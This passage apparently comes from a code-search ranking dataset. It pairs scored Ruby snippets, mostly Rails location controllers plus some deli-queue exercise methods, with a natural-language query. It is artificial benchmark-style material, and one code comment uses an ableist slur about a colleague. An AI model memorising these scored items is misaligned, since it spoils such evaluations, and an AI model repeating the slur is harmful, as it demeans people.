"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63851786",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "87deab83ed228e494cfda6e23db29cb4",
"score": "0.63842905",
"text": "def index\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "685c280ee4c2fcb1a7f7b44e46789c12",
"score": "0.638135",
"text": "def all_locations\n @locations = Location.search(params[:search], params[:column]).reorder(sort_column + \" \" + sort_direction).paginate(per_page: 10, :page => params[:page])\n\n respond_to do |format|\n format.html { gmaps_all_locations_markers }\n format.js\n format.json { render json: @locations }\n end\n end",
"title": ""
},
{
"docid": "9a13d343a99d6f92b8bb85f11f9dcc62",
"score": "0.6370011",
"text": "def location\n fetch('games.overwatch.locations')\n end",
"title": ""
},
{
"docid": "805dbc4528d86fabc69957b7579f7ce1",
"score": "0.6360329",
"text": "def index\r\n @locations = Location.paginate(:page => params[:page])\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render :json => @locations }\r\n end\r\n end",
"title": ""
},
{
"docid": "090b17b9d66b7b03edf750c60c716b34",
"score": "0.6349616",
"text": "def shows\n @location = Location.find(params[:id])\n\trespond_to do |format|\n\t\tformat.html # show.html.erb\n\t\tformat.json { render json: @location }\n\tend\n end",
"title": ""
},
{
"docid": "d812af53232ad1b33595082c767d8b2f",
"score": "0.6337664",
"text": "def index\n @locations = Location.all\n\n end",
"title": ""
},
{
"docid": "245be6fe120756158b422267149e3bf5",
"score": "0.63339967",
"text": "def index\n @call_locations = CallLocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @call_locations }\n end\n end",
"title": ""
},
{
"docid": "eeb49a366692b9503b964b24914a9bd6",
"score": "0.63251436",
"text": "def get_locations\n directions = User.find(params[:user_id]).directions\n\n render json: {directions: directions}\n end",
"title": ""
},
{
"docid": "557ef61c1f4ba8916d96c10d51ad9cb9",
"score": "0.6316539",
"text": "def list_locations\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v2/locations'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end",
"title": ""
},
{
"docid": "9b100b0cd5588fbfb08fac5e40045a90",
"score": "0.6313391",
"text": "def show_state\n\t\trecords = Coli.where(state: params[:state])\n\t\tlocations = Array.new\n\n\t\trecords.each do |record|\n\t\t\tlocations << record.attributes.except('id', 'created_at', 'updated_at')\n\t\tend\n\n\t\tif locations.present?\n\t\t\treturn render json: locations, status: 200\n\t\telse\n\t\t\treturn render json: [], status: 404\n\t\tend\n\tend",
"title": ""
},
{
"docid": "4d2e204b2ed925e72813b3a9e64297c8",
"score": "0.63124055",
"text": "def index\n @locations = Location.find(:all)\n end",
"title": ""
},
{
"docid": "eb93aa0574e09294f62c593f8db27380",
"score": "0.6307681",
"text": "def location\n fetch('games.fallout.locations')\n end",
"title": ""
},
{
"docid": "cb18a729b8f7ae5e3051a21709ded9fa",
"score": "0.6298126",
"text": "def index\n @survey_locations = SurveyLocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @survey_locations }\n end\n end",
"title": ""
},
{
"docid": "a5bebe769211550014c826168756bcc0",
"score": "0.6296508",
"text": "def index\n if params[:user_id]\n @inventory_records = current_user.inventory_records.order(\"created_at desc\")\n elsif params[:search]\n @inventory_records = InventoryRecord.search(params[:search])\n else\n @inventory_records = InventoryRecord.order(\"created_at desc\")\n end\n \n \n # print @inventory_records.map(&:location_id)\n @location_json = Location.where(\"id in (?)\", @inventory_records.map(&:location_id)).to_gmaps4rails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventory_records }\n end\n end",
"title": ""
},
{
"docid": "00a3363e9d2a24ec7a80ad8977dc7ce1",
"score": "0.6295226",
"text": "def list_locations\r\n # Prepare query url.\r\n _query_builder = config.get_base_uri\r\n _query_builder << '/v2/locations'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = config.http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n OAuth2.apply(config, _request)\r\n _response = execute_request(_request)\r\n\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_response.raw_body)\r\n _errors = APIHelper.map_response(decoded, ['errors'])\r\n ApiResponse.new(_response, data: decoded, errors: _errors)\r\n end",
"title": ""
},
{
"docid": "bfcd4e2f024bd0695fdf29af3328a15c",
"score": "0.6294082",
"text": "def index\n respond_to do |format|\n \n format.html do\n if current_user\n @locations = current_user.locations.order(:name)\n render layout: 'basic'\n else\n redirect_to map_url\n end\n end\n\n format.json do\n scope = if params[:surrey]\n Location.surrey\n else\n Location.all\n end\n if params[:services_supplies_land]\n scope = scope.services_supplies_land\n end\n scope = apply_distance_sort_scope( scope ) if params[:center_lat] && params[:center_long]\n scope = apply_search_scope( scope ) if params[:q].present?\n scope = scope.order( 'updated_at DESC' ) if params[:recent]\n @locations = scope.approved.currently_shown.includes( :nested_categories ).order( 'id' )\n end\n end\n end",
"title": ""
},
{
"docid": "6bd2a5e5869cc891608c2e447815b595",
"score": "0.62905383",
"text": "def index\n @locations = current_merchant.locations\n end",
"title": ""
},
{
"docid": "91df4b009ab7303f928a92b9339c2ee1",
"score": "0.62888753",
"text": "def index\n @locations = Location.all\n @markers = Location.all.to_gmaps4rails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @locations }\n end\n end",
"title": ""
},
{
"docid": "4521d8b2cc11c442e78f9562f60ff687",
"score": "0.6286789",
"text": "def get_all_locations\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "4521d8b2cc11c442e78f9562f60ff687",
"score": "0.6286789",
"text": "def get_all_locations\n @locations = Location.all\n end",
"title": ""
},
{
"docid": "a2e70df190a9f3710b9b69e176b7e84b",
"score": "0.627557",
"text": "def index\n\t\t#This next piece has a retard as its ideological author. Don't blame my hands for it.\n\t\trespond_to do |format|\n\t\t\tformat.html {\n\t\t\t\tredirect_to root_url unless current_user.allowed_to?(:manage_locations)\n\t\t\t\t@locations = Location.all \n\t\t\t}\n\t\t\tformat.json {\n\t\t\t\t@locations = if params[:updated_at]\n\t\t\t\t\tLocation.all.where(\"updated_at > ?\", params[:updated_at])\n\t\t\t\telse\n\t\t\t\t\tLocation.active_locations\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "56c93bd1e4462d56bc642344b5c3a28b",
"score": "0.62647855",
"text": "def list_locations\n url = url_with_api_version(configuration.api_version, base_url, 'locations')\n response = rest_get(url)\n Azure::Armrest::ArmrestCollection.create_from_response(response, Location)\n end",
"title": ""
},
{
"docid": "f61c9d9d54ca6678ad6883649a76d6f0",
"score": "0.62610936",
"text": "def set_screening_location\n @screening_location = ScreeningLocation.find(params[:id])\n end",
"title": ""
},
{
"docid": "abbc5662ef205658f50e39126b315821",
"score": "0.62597007",
"text": "def show\n @user = User.find(params[:user_id])\n @sticker = Sticker.find(params[:sticker_id])\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html { gmaps_location_marker }\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7d110d26006cb97345e1498fa5672779",
"score": "0.62591505",
"text": "def list_locations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LocationsApi.list_locations ...\"\n end\n # resource path\n local_var_path = \"/v2/locations\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n \n header_params['Square-Version'] = \"2018-07-12\"\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ListLocationsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LocationsApi#list_locations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "84390c39c3c35e497bd32c6f654a0115",
"score": "0.6252546",
"text": "def index\n @lesion_locations = LesionLocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lesion_locations }\n end\n end",
"title": ""
},
{
"docid": "13e23e57b56cb1ddb3150410027f1519",
"score": "0.6252315",
"text": "def index\n @entries = @location.entries.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"title": ""
},
{
"docid": "618ae7db1444383c343d7f93800b24a7",
"score": "0.62508965",
"text": "def index\n @locations = Location.all #displaying all locations\n end",
"title": ""
},
{
"docid": "07adc6869f08a9c405b7b18ac747a095",
"score": "0.62493557",
"text": "def index\n @neighborhoods = Neighborhood.visible.order(name: :asc)\n @locations = Location.modern_layout.featured\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @neighborhoods }\n end\n end",
"title": ""
},
{
"docid": "ee86540418a51fafc741c50bc9d954a7",
"score": "0.6241454",
"text": "def show\n @user_location = UserLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_location }\n format.json { render :json => @user_locations }\n end\n end",
"title": ""
},
{
"docid": "5bf0bdd7a5becadfa10a3ad5c651eee8",
"score": "0.6237706",
"text": "def show\n @maplocation = MapLocation.find(params[:id])\n respond_to do |format|\n format.html\n format.json { render :json => @maplocation }\n end\n end",
"title": ""
},
{
"docid": "3bf846db779e4590849d01e774d49da7",
"score": "0.6232876",
"text": "def locations!\n mashup(self.class.get(\"/\", :query => method_params('aj.jobs.getLocations'))).locations.location\n end",
"title": ""
},
{
"docid": "08d9b1d6623277a713aa53706480b707",
"score": "0.62318456",
"text": "def show\n @location = Location.find(params[:id])\n @shelves = @location.shelves\n @items = @location.items.paginate(page: params[:page], per_page: 50)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "9520184bacc89ca4fe57966cd19563f3",
"score": "0.6230735",
"text": "def show\n @location = Location.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "43df3982ca874174c2750053d24e1f76",
"score": "0.62288165",
"text": "def index\n @locations = Location.all\n respond_to do |format|\n #format.html\n format.json { render json: @locations }\n format.xml { render xml: @locations }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "7a3cd477384451323743ba2eabdf6181",
"score": "0.6224437",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"title": ""
},
{
"docid": "f52228f1edb417c0d632a4cc1e5fe683",
"score": "0.6220999",
"text": "def show\n\n\t @location = Location.find(params[:id])\n\t\n\t respond_to do |format|\n\t format.html # show.html.erb\n\t format.json { render json: @location }\n\t end\n\n end",
"title": ""
},
{
"docid": "b812061a39611038ce804c6cfe7dfd04",
"score": "0.62023866",
"text": "def show\n @survey_location = SurveyLocation.find(params[:id])\n @json = @survey_location.to_gmaps4rails\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_location }\n end\n end",
"title": ""
},
{
"docid": "43b3d09afd5965b0a80df17a437fd6db",
"score": "0.6200793",
"text": "def show\n @device = Device.find(params[:id])\n @locations = Location.where(idfa: @device.idfa)\n end",
"title": ""
},
{
"docid": "3ad454d7f495e578b48ee466adcb7fb9",
"score": "0.62002677",
"text": "def show\n @collection_location_entry = CollectionLocationEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @collection_location_entry }\n end\n end",
"title": ""
},
{
"docid": "9f1702d084e537dd17dfa985e2b94119",
"score": "0.61997414",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @location }\n end\n end",
"title": ""
},
{
"docid": "9f1702d084e537dd17dfa985e2b94119",
"score": "0.61997414",
"text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @location }\n end\n end",
"title": ""
},
{
"docid": "08301a59367c7c3abfb7ce94a1ac43fc",
"score": "0.61928487",
"text": "def show\r\n @internship_location = InternshipLocation.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @internship_location }\r\n end\r\n end",
"title": ""
}
] |
c401366ea644df3d104afe0a36898a19
|
method that calls out people in line then removes them from the front of the line
|
[
{
"docid": "3c07b78ef49dea10ed17074a062bb024",
"score": "0.0",
"text": "def now_serving(array)\r\n case array.length\r\n when 0\r\n puts \"There is nobody waiting to be served!\"\r\n else\r\n puts \"Currently serving #{array[0]}.\"\r\n array.shift\r\n end\r\nend",
"title": ""
}
] |
[
{
"docid": "9171fabfd1d9cf460153757cb4a600b3",
"score": "0.69773495",
"text": "def now_serving(line)\n arr_line = line\n # if no one in line\n if arr_line.length >= 1\n puts \"Currently serving #{arr_line.first}.\"\n arr_line.shift\n else arr_line.length < 1 \n puts \"There is nobody waiting to be served!\"\n # if there are people in line\n # remove the first person in line (remove first position of array) \n # maybe array.shift \nend \nend",
"title": ""
},
{
"docid": "682b9282d9d1d9d74b92a5247200e0fe",
"score": "0.6625282",
"text": "def now_serving(line)\n #asks if the line is empty\n if line.empty?\n #puts outcome\n puts \"There is nobody waiting to be served!\"\n else \n #calls on the first person in line then removes it\n puts \"Currently serving #{line.first}.\"\n #removes the first element in the array\n line.shift\n end\nend",
"title": ""
},
{
"docid": "648fdd978ff572c16403d12f719317d2",
"score": "0.65714335",
"text": "def remove_name_field\n @lines.map!{ |line|\n after_name = line.split( /#{type}\\|/ )[1] # want second index, not last index!\n line = ( after_name ? after_name : line ) \n }\n end",
"title": ""
},
{
"docid": "ce57403fed4f428bb1cdb89968f04b0c",
"score": "0.650838",
"text": "def strip_line(line)\n line[1..line.length]\n end",
"title": ""
},
{
"docid": "02d59280b36bd682cf43a6bd9f4b8b5c",
"score": "0.6467566",
"text": "def line (people)\r\nkatz_deli = []\r\nif people == []\r\n puts \"The line is currently empty.\"\r\n#binding.pry\r\nelse\r\n #binding.pry\r\n people.each_with_index do |value, index|\r\n #binding.pry\r\n katz_deli << (\"#{index.to_i+1}. #{value}\") #&¤t place in line\r\n #puts katz_deli\r\n #binding.pry\r\n end\r\n katz_deli.unshift (\"The line is currently:\") # failed the 2nd test\r\n puts katz_deli.join (\" \")\r\n #binding.pry\r\n #katz_deli[1],katz_deli[2],katz_deli[3]\r\n #binding.pry\r\nend\r\nend",
"title": ""
},
{
"docid": "6e97e43c7feb037c54e4d7012637f0a1",
"score": "0.6400035",
"text": "def remove_tag_first_line\n if start_line == end_line\n line[start_pos, end_pos - start_pos + 1] = \"\"\n else\n line[start_pos, line.size] = \"\"\n end\n line\n end",
"title": ""
},
{
"docid": "3903e6840b1002c0765782b346c8e2ee",
"score": "0.63802993",
"text": "def remove_part_of_line_from_file(file, line_to_remove)\n File.open(file, \"r+\") do |f|\n out = \"\"\n f.each do |line|\n if line =~ /#{line_to_remove}/\n out << \"#{line.gsub(\"#{line_to_remove}\", '')}\"\n else\n out << line\n end\n end\n f.pos = 0\n f.print out.chomp\n f.truncate(f.pos)\n end\nend",
"title": ""
},
{
"docid": "e61a7f0096b3694903ec39058236f883",
"score": "0.6355957",
"text": "def strip_line(line)\n headword = line.scan(/(?<=<)(.*)(?=>)/)[0][0].strip\n entry = Entry.new(line)\n return headword, entry\n end",
"title": ""
},
{
"docid": "6398410099796ef356df9cf34a940cf0",
"score": "0.6310872",
"text": "def filter(line)\n ;\n end",
"title": ""
},
{
"docid": "4f0ea9b6ec8286664ea849fac852bfba",
"score": "0.6280953",
"text": "def line\n\t\t@ida.tag_remove(unstripped_line)\n\tend",
"title": ""
},
{
"docid": "4ebb6dee5e49bbc27b41e20870640a77",
"score": "0.62426096",
"text": "def line(people_in_line)\n if people_in_line == []\n puts \"The line is currently empty.\"\n else\n counter = 1\n list_of_people = \"\"\n people_in_line.each { |person| list_of_people = list_of_people + \" #{counter}. #{person}\"; counter = counter + 1}\n puts \"The line is currently:#{list_of_people}\"\n end\nend",
"title": ""
},
{
"docid": "f228b3e7f296eb8425cf7ad6893c173c",
"score": "0.62216586",
"text": "def strip_line(line)\n file_format.line_definitions.any? { |name, definition| definition =~ line } ? line : \"\"\n end",
"title": ""
},
{
"docid": "2315130f6e3a6d6d64eac70fe87e4819",
"score": "0.6192196",
"text": "def strip(line)\n line.gsub(/^#\\s+(deleted|modified|new file|unmerged|typechange)?:?\\s*/, \"\")\nend",
"title": ""
},
{
"docid": "126e6a193f46627cd20fc69fdd56dc54",
"score": "0.6105994",
"text": "def unfold_line(lines)\n head, *tail = lines.split(\"\\n\")\n tail.map! { |line| line[1..-1] }\n [head, *tail].join(\"\")\n end",
"title": ""
},
{
"docid": "36d2168ff0dde5b3ac88c5f952590896",
"score": "0.60965717",
"text": "def line_removed(index); end",
"title": ""
},
{
"docid": "941a7f7cc452245d4c820b32a30a3e5a",
"score": "0.6087012",
"text": "def unfold_line\n strong_memoize(:unfold_line) do\n next last_line if bottom?\n\n @diff_file.diff_lines.find do |line|\n line.old_pos > comment_position && line.type == 'match'\n end\n end\n end",
"title": ""
},
{
"docid": "1188438582c9057e9743e9b1092aa08b",
"score": "0.6074474",
"text": "def remove_code_or_whole_line(source, line)\n newline_at_end_of_line = source[-1] == \"\\n\"\n source_arr = source.split(\"\\n\")\n if source_arr[line - 1] && source_arr[line - 1].strip.empty?\n source_arr.delete_at(line - 1)\n if source_arr[line - 2] && source_arr[line - 2].strip.empty? && source_arr[line - 1] && source_arr[line - 1].strip.empty?\n source_arr.delete_at(line - 1)\n end\n source_arr.join(\"\\n\") + (newline_at_end_of_line ? \"\\n\" : '')\n else\n source\n end\n end",
"title": ""
},
{
"docid": "8b6cb712d808565133ce6d50f6a2dcec",
"score": "0.6034765",
"text": "def remove_line(file)\n lines = File.readlines(file)\n size1 = lines.size\n #remove the line if it contains the specified characters\n lines.delete_if {|line| line.include? SYMBOLS}\n size2 = lines.size\n #overwrite the file\n File.open(file, \"w+\") do |file|\n lines.each do |record|\n file.puts record\n end\n end\n #number of remove lines\n size1-size2\nend",
"title": ""
},
{
"docid": "e9d90b208ddb5c8f4e375109ac37ca70",
"score": "0.6021844",
"text": "def line(ppl)\n\n # If the line is empty...\n if ppl.length == 0\n\n # Tell us the line is empty.\n puts \"The line is currently empty.\"\n\n # If there are people in line...\n else\n\n crnt_ln = []\n\n ppl.each_with_index do |nm, ndx|\n ln = ndx + 1\n crnt_ln << \" #{ln}. #{nm}\"\n end\n\n crnt_ln.unshift(\"The line is currently:\")\n puts crnt_ln.join\n\n s = \"The line is currently: \"\n crnt_ln = []\n ppl.each_with_index do |name, index|\n add_one = index + 1\n crnt_ln << \"#{index}. #{name}\"\n end\n\n return crnt_ln\n\n i = 0\n while i < ppl.length\n x = (i + 1).to_s + \".\" + ppl[i]\n s += x\n end\n puts s\n end\nend",
"title": ""
},
{
"docid": "32540cf0865daf1008f021ee5fa6284f",
"score": "0.60056543",
"text": "def strip!\n lines = self.to_a\n line_after_heading = false\n in_group = \"\"\n copy = []\n lines.each_with_index do |line, i|\n if line_after_heading == true\n # Insert a blank line before the start of a group\n copy << \"\"\n \n line_after_heading = false\n end\n \n unless line == \"\"\n # Copy the line\n copy << line\n end\n \n in_group = line.match(HEADING_REGEX)\n if in_group\n # Insert a blank line after the end of a group\n copy.insert copy.length-1, \"\" unless i == 0\n line_after_heading = true\n end\n \n end\n \n overwrite(copy)\n end",
"title": ""
},
{
"docid": "6fe5bcb6c6e8504c255b52a41d9622e4",
"score": "0.6005215",
"text": "def strip_current_line(line)\n line.strip!\n\n # check the current type and if ruby, remove the #\n if self.type == :RUBY\n line.sub!('#', '')\n line.strip!\n end\n\n return line\n end",
"title": ""
},
{
"docid": "ce13570e236932cd1b54eff3fd9c0647",
"score": "0.59630364",
"text": "def remove_tags_from_buffer!\n # Cache before modification!\n buffer[start_line] = remove_tag_first_line + end_line_string\n delete_lines!\n create_new_mark!\n @buffer.insert_string(@mark.without_tags, [\n start_line, start_pos\n ])\n clear\n @mark\n end",
"title": ""
},
{
"docid": "b94832d300730aed8477f8b1da3f9221",
"score": "0.5959928",
"text": "def remove_line_from_file(file, line_to_match)\n File.open(file, \"r+\") do |f|\n out = \"\"\n f.each do |line|\n unless line =~ /#{line_to_match}/i\n out << line\n end\n end\n f.pos = 0\n f.print out.chomp\n f.truncate(f.pos)\n end\nend",
"title": ""
},
{
"docid": "4cddc81939ff9d1c28d16bf59a3172c7",
"score": "0.594512",
"text": "def clean_line(line)\n line.gsub!(/\\n/, '')\n end",
"title": ""
},
{
"docid": "926a580ead49e6240614dbeb9f1824a4",
"score": "0.59282583",
"text": "def cram line\n unless @nodename\n @nodename = line[3..-1].strip\n raise \"hell\" unless line[0..2] == ':: '\n return\n end\n @my_text << line.strip!\n @my_text << \"\\n\" unless line == ''\n end",
"title": ""
},
{
"docid": "82b489715b290a33cdc5debb1d8bd6ad",
"score": "0.5908532",
"text": "def removeFeature(line)\n return line.gsub(/ {2,}/, \"\").gsub(/[ \\|]*\\+-*?\\+[ \\|]*/, \"\").gsub(/[ \\+]*\\|.*?\\|[ \\+]*/, \"\")\nend",
"title": ""
},
{
"docid": "bef4159d1c4b6dc483e5864b7bf3e7f7",
"score": "0.59085166",
"text": "def machine4(line)\r\n line.strip!\r\n line[0] = ''\r\n return line\r\n end",
"title": ""
},
{
"docid": "2850e433749e9490c69169d3ece7dd81",
"score": "0.58953446",
"text": "def strip\n dup.replace lines.map(&:strip).join\n end",
"title": ""
},
{
"docid": "856c3b3f794981879702541001104dde",
"score": "0.5893352",
"text": "def remove_duplicate_lines(lines)\n end",
"title": ""
},
{
"docid": "d259567ff76057ec627cbf173371b4d8",
"score": "0.5882513",
"text": "def line(current_line)\n if current_line.empty?\n puts \"The line is currently empty.\"\n else\n line = \"\"\n\n current_line.each_with_index do |person, index|\n place_in_line = index + 1\n line += \" \" unless line == \"\"\n line += \"#{place_in_line}. #{person}\"\n end\n\n puts \"The line is currently: #{line}\"\n end\nend",
"title": ""
},
{
"docid": "601f64ea32b55e55b84cb93e2a7f28f0",
"score": "0.58796865",
"text": "def line(katz_deli_line)\nif katz_deli_line.length == 0\n puts \"The line is currently empty.\"\nelse\n greeting = \"The line is currently: \"\n katz_deli_line.each_with_index do | name, pos |\n greeting += \"#{pos + 1}. #{name} \"\nend\nformal_greeting = greeting.slice(0, (greeting.length-1))\nputs \"#{formal_greeting}\"\nend\nend",
"title": ""
},
{
"docid": "42abea0cd9c7d9f5ddc4964e39b7f864",
"score": "0.58765817",
"text": "def line(people)\n if (!people.empty?)\n line_number = 1\n people_line = \"The line is currently:\" \n people.each do |person|\n people_line.concat \" #{line_number}. #{person}\"\n line_number += 1\n end\n else \n people_line = \"The line is currently empty.\"\n end\n puts people_line\n return people_line\nend",
"title": ""
},
{
"docid": "ca0d389a60cfa28870ab2fda2c5239bd",
"score": "0.5866041",
"text": "def unshift line\n @lineno -= 1\n @look_ahead += 1\n @eof = false\n @lines.unshift line\n end",
"title": ""
},
{
"docid": "c574b49b71e2bbd77cfed840138a9ad3",
"score": "0.58587265",
"text": "def scrub line\r\n\t\t# line = line.gsub(/\\$Id:.*?\\$/, \"$Id$\")\r\n\t\t# line = line.gsub(/\\$Revision:.*?\\$/, \"$Revision$\")\r\n\t\tline2 = line.gsub /\\$([A-Za-z-]+):.*?\\$/, '$\\1$'\r\n\t\tprint \"\\n\\tScrubbed SVN Keywords: #{line2.rstrip} <<== #{line.rstrip} \" if not line.eql?(line2)\r\n\t\tline2\r\n\t\t\r\n\t\t# GIT has unix \\n only, not \\r\\n\r\n\t\t# line = line.gsub /\\r\\n/, \"\\n\" \t# WinMerge ignores line-endings just fine, DiffMerge did not\r\n\tend",
"title": ""
},
{
"docid": "985821109ac157fac4109bf62498bd29",
"score": "0.5848684",
"text": "def now_serving(katz_deli)\n #if there is no one in line, display \"There is nobody waiting to be served!\"\n if katz_deli.empty?\n puts \"There is nobody waiting to be served!\"\n #if there are people in line, first display who is currently being served and is first in line.\n else katz_deli.empty? == FALSE\n puts \"Currently serving #{katz_deli[0]}.\"\n #remove the first person from the katz_deli array\n katz_deli.shift\n end\n #store the new katz_deli array\n return katz_deli\nend",
"title": ""
},
{
"docid": "b370c3a03bdb4c7177c4560f952abc9c",
"score": "0.5847002",
"text": "def now_serving (katz_deli)\n # Check for empty line\n if katz_deli.length == 0\n # Respond to empty line\n puts \"There is nobody waiting to be served!\"\n else\n # Return the first person from the line and remove them\n # Use shift array method to remove first item in array\n puts \"Currently serving #{katz_deli.shift}.\"\n end\nend",
"title": ""
},
{
"docid": "f399ec41551ea2fe389b6856b9169fe3",
"score": "0.5846772",
"text": "def strip_diff_syntax(line)\n line[2..-1]\n end",
"title": ""
},
{
"docid": "aa4b04b9097e84013fa452448b03b117",
"score": "0.584367",
"text": "def uncolorize_line(line)\n return line if line.blank?\n\n line.gsub(/\\e\\[(\\d+)(;\\d+)*m/, '')\n end",
"title": ""
},
{
"docid": "b6fd4cbe60b7479279c4035143eb03b2",
"score": "0.58339113",
"text": "def now_serving(line)\n\n\tnow_serving = []\n\n\tif line.length == 0\n\t\tputs \"There is nobody waiting to be served!\"\n\telse\n\t\tnow_serving.push(line[0]) # Push the next person in line to a diff line\n\t\tline.delete_at(0) # Remove that person from the line\n\t\tputs \"Currently serving #{now_serving[0]}.\" # Call them from the new line\n\tend\nend",
"title": ""
},
{
"docid": "829eed308f176a19e07666c55b96edcf",
"score": "0.5830412",
"text": "def line(deli)\n if deli.empty?\n puts \"The line is currently empty.\"\n else\n deli_line = \"\" # start with an empty string\n\n deli.each.with_index(1) do |person, index|\n deli_line << \"#{index}. #{person} \" # for each person in line, add their name and index to string\n end\n\n puts \"The line is currently: #{deli_line.strip}\" # output string with person(s) and their index\n end\nend",
"title": ""
},
{
"docid": "883e212d247b0c4075bed3261890d229",
"score": "0.58267933",
"text": "def unix_line_discard(key); end",
"title": ""
},
{
"docid": "883e212d247b0c4075bed3261890d229",
"score": "0.58267933",
"text": "def unix_line_discard(key); end",
"title": ""
},
{
